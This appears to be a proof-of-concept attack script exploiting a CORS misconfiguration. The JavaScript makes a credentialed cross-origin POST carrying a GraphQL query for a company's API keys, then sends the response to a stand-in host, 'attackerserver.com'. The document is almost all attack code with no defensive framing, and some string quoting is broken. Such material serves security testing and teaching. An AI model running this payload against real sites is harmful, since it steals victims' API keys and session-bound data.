```
<script>
var crossoriginget = new XMLHttpRequest();
//The target site with the bad CORS configuration
var url = 'https://tessite.com;
crossoriginget.open('POST', url, true);
crossoriginget.setRequestHeader('Content-type', 'text/plain');

crossoriginget.withCredentials = true;
crossoriginget.onload = reqListener;
crossoriginget.send('{"id":"q9","query":"query Viewer_queries {viewer
{id,...F2}} fragment F0 on ApiKey
{id,name,key,active,createdAt,createdBy {id,firstName,lastName}}
fragment F1 on Company {id} fragment F2 on Viewer
{id,_component3DAZFp:component(name:\\"settings_api_keys\\"),com
pany {id,_apiKeys1gQPNy:apiKeys(first:1000) {edges {node
{id,...F0},cursor},pageInfo
{hasNextPage,hasPreviousPage}},...F1}}","variables":{}}');

/* Once the cross-origin request completes, attempt to read the
response text and send it to the malicious server using an
HTTP POST request. */
function reqListener() {
var exfiltraterequest = new XMLHttpRequest();
//Our server hosting the CORS attack
var maliciousurl = 'http://attackerserver.com/python.py’;
exfiltraterequest.open('POST', maliciousurl);
exfiltraterequest.setRequestHeader('Content-type',
'application/x-www-form-urlencoded');
```

```
exfiltraterequest.send('responsehtml=' +
encodeURIComponent(String(this.responseText)));
};
</script>
```